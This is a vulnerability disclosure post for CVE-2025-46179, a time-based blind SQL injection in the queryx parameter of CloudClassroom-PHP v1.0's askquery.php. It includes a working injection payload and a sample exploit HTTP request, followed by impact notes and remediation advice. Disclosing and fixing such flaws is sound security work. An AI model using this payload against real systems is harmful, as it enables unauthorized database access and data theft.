🔓 CVE-2025-46179 — SQL Injection in CloudClassroom-PHP v1.0

📢 I’m excited to share that I’ve been assigned CVE-2025-46179 for a vulnerability I discovered in the open-source CloudClassroom-PHP Project.


---

🛠️ Vulnerability Summary

A SQL Injection vulnerability exists in the askquery.php file of CloudClassroom-PHP v1.0. The vulnerable queryx parameter accepts unsanitized user input, which is directly incorporated into backend SQL queries without validation or parameterization.


---

⚙️ Technical Details

Vulnerable File: askquery.php

Affected Parameter: queryx (via POST)

Database Name Extracted: cc_db

Original Parameter Value: 555


The application fails to sanitize or validate the queryx input, making it vulnerable to time-based blind SQL Injection.


---

🧪 Proof of Concept (PoC)

Payload Used:

5550'XOR(555*if(now()=sysdate(),sleep(6),0))XOR'Z

Exploit Request (Sample):

POST /CloudClassroom-PHP-Project-master/askquery.php?id=testing/40example.com HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 80

addq=Post/20Query!&queryx=5550'XOR(555*if(now()=sysdate()/2Csleep(6)/2C0))XOR'Z

Behavior:

When this payload is submitted, the server delays its response by approximately the number of seconds specified (e.g., 6s or 15s), confirming successful execution of injected SQL commands.


---

🧱 Security Impact

Type: Remote SQL Injection

Impact:

Unauthorized DB access

Data exfiltration/modification

Privilege escalation

Potential code execution depending on DB configuration




---

🛡 Suggested Fixes

Use prepared statements (parameterized queries)

Validate and sanitize all user input

Apply least privilege principles to DB users

Integrate automated code scanning into your CI/CD pipeline



---

📚 References

Project GitHub :
https://github.com/mathurvishal/CloudClassroom-PHP-Project

SQL Injection Overview - PortSwigger :
https://portswigger.net/web-security/sql-injection



---

👨‍💻 Discoverer: Muhammad Jawad Akram
🔐 CVE ID: CVE-2025-46179


---

If you’re using or maintaining CloudClassroom-PHP or any derivative, please audit your use of raw SQL and update your codebase accordingly.